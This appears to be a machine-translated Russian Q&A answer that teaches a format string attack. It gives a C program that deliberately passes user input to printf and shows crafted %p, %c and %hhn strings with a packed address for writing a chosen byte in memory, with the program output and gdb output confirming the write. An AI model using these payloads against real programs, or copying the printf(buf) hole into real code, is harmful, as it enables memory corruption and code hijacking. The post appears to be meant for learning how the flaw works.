Вы не могли бы использовать sprintf
для атаки форматной строкой, но более поздний вызов printf
.
Использовать это довольно просто, если вы можете наблюдать за выводом.Вместо прямого использования эксплойта, вы можете создать строку с достаточным количеством %p
или %x
, пока не увидите желаемые байты.Например, эта программа работает для меня:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
Я компилирую с gcc -m32
и запускаю, вывод:
Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
Теперь, когда мы видим 0x04030201
, мы можем изменитьокончательный %0#p
- %hhn
для записи одного байта по адресу, или %hn
для short
, или %n
для int
.Это число - количество написанных символов, преобразованное в char
, short
или int
.
Когда мы знаем, где в стеке находится адрес, мы можем изменить каждый %p
на %c
, и мы знаем, что он будет использовать ровно один символ, обеспечивая лучший контроль над полученным числом.
В начале у нас есть некоторый провал с a
s - это можно использовать для изменения точности одного из преобразований, чтобы легко изменить количество записываемых символов по желанию (например, если полученное число 123 слишком мало, его можно расширить, напечатав один символ с 124 шириной поля символа: %124c
);добавление счетчика можно сместить, убрав из приглашения 3 a.
Снова это можно проверить с помощью %0#p
:
greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
, и мы получим:
Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
Наконец, мы просто заменим %0#p
на %hhn
и там будет волшебство.
Чтобы продемонстрировать, что он действительно пишет по адресу 0x04030201, вы можете использовать gdb
, чтобы найтиадрес, вызвавший нарушение :
Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201
А остальное оставлено читателю в качестве упражнения ...